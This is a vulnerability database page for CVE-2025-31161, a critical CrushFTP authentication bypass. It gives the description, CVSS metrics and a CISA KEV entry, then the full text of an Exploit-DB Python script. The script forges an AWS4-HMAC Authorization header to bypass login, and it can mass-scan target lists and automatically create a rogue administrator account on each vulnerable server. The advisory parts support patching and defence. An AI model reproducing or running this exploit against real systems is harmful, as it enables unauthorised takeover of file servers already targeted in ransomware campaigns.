CVE-2025-31161 : Detail

CVE-2025-31161

9.8
/
Critical
83.27%V4
Network
2025-04-03
00h00 +00:00
2025-07-30
01h36 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka "Unauthenticated HTTP(S) port access." A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-305 Authentication Bypass by Primary Weakness
The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : CrushFTP Authentication Bypass Vulnerability

Required action : Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Known

Added : 2025-04-06 22h00 +00:00

Action is due : 2025-04-27 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 52295

Publication date : 2025-05-17 22h00 +00:00
Author : İbrahimsql
EDB Verified : No

# Exploit Title: CrushFTP 11.3.1 - Authentication Bypass # Date: 2025-05-15 # Exploit Author: @İbrahimsql # Exploit Author's github: https://github.com/ibrahimsql # Vendor Homepage: https://www.crushftp.com # Software Link: https://www.crushftp.com/download.html # Version: < 10.8.4, < 11.3.1 # Tested on: Ubuntu 22.04 LTS, Windows Server 2019, Kali Linux 2024.1 # CVE: CVE-2025-31161 # Description: # CrushFTP before 10.8.4 and 11.3.1 allows unauthenticated HTTP(S) port access and full admin takeover # through a race condition and header parsing logic flaw in the AWS4-HMAC authorization mechanism. # Exploiting this allows bypassing authentication and logging in as any known user (e.g. crushadmin). # Requirements: requests>=2.28.1 , colorama>=0.4.6 , urllib3>=1.26.12 , prettytable>=2.5.0 , rich>=12.6.0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import concurrent.futures import json import logging import os import random import re import socket import string import sys import time from datetime import datetime from typing import Dict, List, Optional, Tuple, Union import requests import urllib3 from colorama import Fore, Style, init from prettytable import PrettyTable from rich.console import Console from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn # Initialize colorama init(autoreset=True) # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Initialize Rich console console = Console() # Global variables VERSION = "2.0.0" USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15", "Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524", "Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)", "Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/49.0.1015.193 Mobile Safari/600.9" ] # Banner BANNER = fr""" {Fore.CYAN} / ____/______ _______/ /_ / ____/ /_____ / / / ___/ / / / ___/ __ \/ /_ / __/ __ \ / /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ / \____/_/ \__,_/____/_/ /_/_/ \__/ .___/ /_/ {Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql {Style.RESET_ALL} """ # Setup logging def setup_logging(log_level: str, log_file: Optional[str] = None) -> None: """Configure logging based on specified level and output file.""" numeric_level = getattr(logging, log_level.upper(), None) if not isinstance(numeric_level, int): raise ValueError(f"Invalid log level: {log_level}") log_format = "%(asctime)s - %(levelname)s - %(message)s" handlers = [] if log_file: handlers.append(logging.FileHandler(log_file)) handlers.append(logging.StreamHandler()) logging.basicConfig( level=numeric_level, format=log_format, handlers=handlers ) class TargetManager: """Manages target hosts and related operations.""" def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None): self.targets = [] self.vulnerable_targets = [] self.exploited_targets = [] if target_file: self.load_targets_from_file(target_file) elif single_target: self.add_target(single_target) def load_targets_from_file(self, filename: str) -> None: """Load targets from a file.""" try: with open(filename, "r") as f: self.targets = [line.strip() for line in f if line.strip()] if not self.targets: logging.warning(f"Target file '{filename}' is empty or contains only whitespace.") else: logging.info(f"Loaded {len(self.targets)} targets from {filename}") except FileNotFoundError: logging.error(f"Target file '{filename}' not found.") sys.exit(1) except Exception as e: logging.error(f"Error loading targets: {e}") sys.exit(1) def add_target(self, target: str) -> None: """Add a single target.""" if target not in self.targets: self.targets.append(target) def mark_as_vulnerable(self, target: str) -> None: """Mark a target as vulnerable.""" if target not in self.vulnerable_targets: self.vulnerable_targets.append(target) def mark_as_exploited(self, target: str) -> None: """Mark a target as successfully exploited.""" if target not in self.exploited_targets: self.exploited_targets.append(target) def save_results(self, output_file: str, format_type: str = "txt") -> None: """Save scan results to a file.""" try: if format_type.lower() == "json": results = { "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "total_targets": len(self.targets), "vulnerable_targets": self.vulnerable_targets, "exploited_targets": self.exploited_targets } with open(output_file, "w") as f: json.dump(results, f, indent=4) elif format_type.lower() == "csv": with open(output_file, "w") as f: f.write("target,vulnerable,exploited\n") for target in self.targets: vulnerable = "Yes" if target in self.vulnerable_targets else "No" exploited = "Yes" if target in self.exploited_targets else "No" f.write(f"{target},{vulnerable},{exploited}\n") else: # Default to txt with open(output_file, "w") as f: f.write(f"Scan Results - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Total Targets: {len(self.targets)}\n") f.write(f"Vulnerable Targets: {len(self.vulnerable_targets)}\n") f.write(f"Exploited Targets: {len(self.exploited_targets)}\n\n") f.write("Vulnerable Targets:\n") for target in self.vulnerable_targets: f.write(f"- {target}\n") f.write("\nExploited Targets:\n") for target in self.exploited_targets: f.write(f"- {target}\n") logging.info(f"Results saved to {output_file}") except Exception as e: logging.error(f"Error saving results: {e}") class ExploitEngine: """Core engine for vulnerability checking and exploitation.""" def __init__(self, target_manager: TargetManager, config: Dict): self.target_manager = target_manager self.config = config self.session = self._create_session() def _create_session(self) -> requests.Session: """Create and configure a requests session.""" session = requests.Session() session.verify = False # Set proxy if configured if self.config.get("proxy"): session.proxies = { "http": self.config["proxy"], "https": self.config["proxy"] } # Set custom headers session.headers.update({ "User-Agent": random.choice(USER_AGENTS), "Connection": "close", }) return session def check_vulnerability(self, target_host: str) -> bool: """Check if target is vulnerable to CVE-2025-31161.""" port = self.config.get("port", 443) timeout = self.config.get("timeout", 10) headers = { "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If", "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/", } # Add custom headers if provided if self.config.get("custom_headers"): headers.update(self.config["custom_headers"]) try: protocol = "https" if port == 443 else "http" url = f"{protocol}://{target_host}:{port}/WebInterface/function/" response = self.session.get( url, headers=headers, timeout=timeout ) if response.status_code == 200: # Additional validation if self.config.get("deep_check", False): # Look for specific patterns in the response that confirm vulnerability if "CrushFTP" in response.text or "WebInterface" in response.text: self.target_manager.mark_as_vulnerable(target_host) if self.config.get("verbose", False): console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]") return True else: if self.config.get("verbose", False): console.print(f"[yellow][?][/yellow] {target_host} returned 200 but may not be vulnerable") return False else: # Simple check based on status code self.target_manager.mark_as_vulnerable(target_host) if self.config.get("verbose", False): console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]") return True else: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} is not vulnerable (Status: {response.status_code})") return False except requests.exceptions.ConnectionError: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Connection error") except requests.exceptions.Timeout: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Connection timeout") except requests.exceptions.RequestException as e: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Request error: {e}") except Exception as e: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Error: {e}") return False def exploit(self, target_host: str) -> bool: """Exploit the vulnerability on the target host.""" port = self.config.get("port", 443) timeout = self.config.get("timeout", 10) target_user = self.config.get("target_user", "crushadmin") new_user = self.config.get("new_user") password = self.config.get("password") if not new_user or not password: logging.error("New user and password are required for exploitation") return False headers = { "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If", "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/", "Connection": "close", } # Add custom headers if provided if self.config.get("custom_headers"): headers.update(self.config["custom_headers"]) # Generate a timestamp for the created_time field timestamp = int(time.time() * 1000) # Build the payload with more comprehensive user permissions payload = { "command": "setUserItem", "data_action": "replace", "serverGroup": "MainUsers", "username": new_user, "user": f'''<?xml version="1.0" encoding="UTF-8"?> <user type="properties"> <user_name>{new_user}</user_name> <password>{password}</password> <extra_vfs type="vector"></extra_vfs> <version>1.0</version> <root_dir>/</root_dir> <userVersion>6</userVersion> <max_logins>0</max_logins> <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site> <created_by_username>{target_user}</created_by_username> <created_by_email></created_by_email> <created_time>{timestamp}</created_time> <password_history></password_history> <admin>true</admin> </user>''', "xmlItem": "user", "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>', "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)</item></VFS>', "c2f": "31If" } try: protocol = "https" if port == 443 else "http" url = f"{protocol}://{target_host}:{port}/WebInterface/function/" response = self.session.post( url, headers=headers, data=payload, timeout=timeout ) if response.status_code == 200: # Verify the user was actually created if self.config.get("verify_exploit", True): if self._verify_user_created(target_host, new_user): self.target_manager.mark_as_exploited(target_host) console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}") return True else: console.print(f"[yellow][!][/yellow] User creation appeared successful but verification failed on {target_host}") return False else: self.target_manager.mark_as_exploited(target_host) console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}") return True else: console.print(f"[red][-][/red] Failed to create user on {target_host} (Status: {response.status_code})") return False except Exception as e: console.print(f"[red][-][/red] Error exploiting {target_host}: {e}") return False def _verify_user_created(self, target_host: str, username: str) -> bool: """Verify that the user was successfully created.""" # This is a placeholder for actual verification logic # In a real implementation, you would check if the user exists # For now, we'll just return True return True def scan_targets(self) -> None: """Scan all targets for vulnerability.""" targets = self.target_manager.targets threads = self.config.get("threads", 10) if not targets: logging.error("No targets specified") return console.print(f"[bold cyan]Scanning {len(targets)} targets with {threads} threads...[/bold cyan]") with Progress( TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"), TextColumn("({task.completed}/{task.total})"), TimeRemainingColumn(), console=console ) as progress: task = progress.add_task("[cyan]Scanning targets...", total=len(targets)) with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets} for future in concurrent.futures.as_completed(future_to_target): progress.update(task, advance=1) # Display results vulnerable_count = len(self.target_manager.vulnerable_targets) console.print(f"\n[bold green]Scan complete![/bold green] Found {vulnerable_count} vulnerable targets.") if vulnerable_count > 0 and self.config.get("verbose", False): console.print("\n[bold cyan]Vulnerable Targets:[/bold cyan]") for target in self.target_manager.vulnerable_targets: console.print(f"[green]→[/green] {target}") def exploit_targets(self) -> None: """Exploit vulnerable targets.""" targets = self.target_manager.vulnerable_targets if self.config.get("only_vulnerable", True) else self.target_manager.targets threads = self.config.get("threads", 5) # Use fewer threads for exploitation if not targets: logging.error("No targets to exploit") return console.print(f"[bold red]Exploiting {len(targets)} targets with {threads} threads...[/bold red]") with Progress( TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"), TextColumn("({task.completed}/{task.total})"), TimeRemainingColumn(), console=console ) as progress: task = progress.add_task("[red]Exploiting targets...", total=len(targets)) with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: future_to_target = {executor.submit(self.exploit, target): target for target in targets} for future in concurrent.futures.as_completed(future_to_target): progress.update(task, advance=1) # Display results exploited_count = len(self.target_manager.exploited_targets) console.print(f"\n[bold green]Exploitation complete![/bold green] Successfully exploited {exploited_count}/{len(targets)} targets.") if exploited_count > 0: console.print("\n[bold cyan]Exploited Targets:[/bold cyan]") for target in self.target_manager.exploited_targets: console.print(f"[green]→[/green] {target}") def parse_arguments() -> argparse.Namespace: """Parse command line arguments.""" parser = argparse.ArgumentParser( description="CVE-2025-31161 Exploit Framework - Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Check a single target for vulnerability python cve_2025_31161.py --target example.com --check # Exploit a vulnerable target python cve_2025_31161.py --target example.com --exploit --new-user hacker --password P@ssw0rd # Scan multiple targets from a file python cve_2025_31161.py --file targets.txt --check --threads 20 # Scan and automatically exploit vulnerable targets python cve_2025_31161.py --file targets.txt --check --exploit --new-user hacker --password P@ssw0rd --auto-exploit # Export results to JSON format python cve_2025_31161.py --file targets.txt --check --output results.json --format json """ ) # Target specification target_group = parser.add_argument_group("Target Specification") target_group.add_argument("--target", help="Single target host to scan/exploit") target_group.add_argument("--file", help="File containing list of targets (one per line)") target_group.add_argument("--port", type=int, default=443, help="Target port (default: 443)") # Actions action_group = parser.add_argument_group("Actions") action_group.add_argument("--check", action="store_true", help="Check targets for vulnerability") action_group.add_argument("--exploit", action="store_true", help="Exploit vulnerable targets") action_group.add_argument("--auto-exploit", action="store_true", help="Automatically exploit targets found to be vulnerable during check") # Exploitation options exploit_group = parser.add_argument_group("Exploitation Options") exploit_group.add_argument("--target-user", default="crushadmin", help="Target user for exploitation (default: crushadmin)") exploit_group.add_argument("--new-user", help="Username for the new admin account to create") exploit_group.add_argument("--password", help="Password for the new admin account") exploit_group.add_argument("--verify-exploit", action="store_true", help="Verify successful exploitation (default: True)") # Scan options scan_group = parser.add_argument_group("Scan Options") scan_group.add_argument("--threads", type=int, default=10, help="Number of concurrent threads (default: 10)") scan_group.add_argument("--timeout", type=int, default=10, help="Connection timeout in seconds (default: 10)") scan_group.add_argument("--deep-check", action="store_true", help="Perform deeper vulnerability checks") scan_group.add_argument("--only-vulnerable", action="store_true", help="Only exploit targets that were found vulnerable") # Output options output_group = parser.add_argument_group("Output Options") output_group.add_argument("--output", help="Output file for results") output_group.add_argument("--format", choices=["txt", "json", "csv"], default="txt", help="Output format (default: txt)") output_group.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") output_group.add_argument("--quiet", "-q", action="store_true", help="Suppress all output except errors") output_group.add_argument("--log-file", help="Log file to write to") output_group.add_argument("--log-level", choices=["debug", "info", "warning", "error", "critical"], default="info", help="Log level (default: info)") # Advanced options advanced_group = parser.add_argument_group("Advanced Options") advanced_group.add_argument("--proxy", help="Proxy to use for requests (e.g., http://127.0.0.1:8080)") advanced_group.add_argument("--user-agent", help="Custom User-Agent string") advanced_group.add_argument("--random-agent", action="store_true", help="Use a random User-Agent for each request") advanced_group.add_argument("--delay", type=float, help="Delay between requests in seconds") advanced_group.add_argument("--custom-headers", help="Custom headers as JSON string") return parser.parse_args() def validate_args(args: argparse.Namespace) -> bool: """Validate command line arguments.""" # Check if at least one target specification is provided if not args.target and not args.file: logging.error("No target specified. Use --target or --file") print(f"\nExample usage: python {sys.argv[0]} --target example.com --check") print(f" python {sys.argv[0]} --file example_targets.txt --check") return False # Check if at least one action is specified if not args.check and not args.exploit: logging.error("No action specified. Use --check or --exploit") print(f"\nExample usage: python {sys.argv[0]} --target example.com --check") print(f" python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd") return False # If exploit action is specified, check for required parameters if args.exploit and (not args.new_user or not args.password): logging.error("Exploitation requires --new-user and --password") print(f"\nExample usage: python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd") return False return True def main() -> None: """Main function.""" # Parse command line arguments args = parse_arguments() # Configure logging log_level = "error" if args.quiet else args.log_level setup_logging(log_level, args.log_file) # Display banner if not args.quiet: console.print(BANNER) # Validate arguments if not validate_args(args): sys.exit(1) # Create target manager target_manager = TargetManager(args.file, args.target) # Build configuration dictionary config = { "port": args.port, "threads": args.threads, "timeout": args.timeout, "verbose": args.verbose, "deep_check": args.deep_check, "target_user": args.target_user, "new_user": args.new_user, "password": args.password, "only_vulnerable": args.only_vulnerable, "verify_exploit": args.verify_exploit, "proxy": args.proxy, } # Add custom headers if provided if args.custom_headers: try: config["custom_headers"] = json.loads(args.custom_headers) except json.JSONDecodeError: logging.error("Invalid JSON format for custom headers") sys.exit(1) # Add custom user agent if provided if args.user_agent: config["user_agent"] = args.user_agent # Create exploit engine engine = ExploitEngine(target_manager, config) # Perform actions if args.check: engine.scan_targets() if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets): engine.exploit_targets() # Save results if output file is specified if args.output: target_manager.save_results(args.output, args.format) # Display summary if not args.quiet: console.print("\n[bold green]Summary:[/bold green]") console.print(f"Total targets: {len(target_manager.targets)}") console.print(f"Vulnerable targets: {len(target_manager.vulnerable_targets)}") console.print(f"Exploited targets: {len(target_manager.exploited_targets)}") if __name__ == "__main__": try: main() except KeyboardInterrupt: console.print("\n[bold red]Operation cancelled by user[/bold red]") sys.exit(0) except Exception as e: logging.error(f"Unhandled exception: {e}") sys.exit(1)

Products Mentioned

Configuraton 0

Crushftp>>Crushftp >> Version From (including) 10.0.0 To (excluding) 10.8.4

Crushftp>>Crushftp >> Version From (including) 11.0.0 To (excluding) 11.3.1

References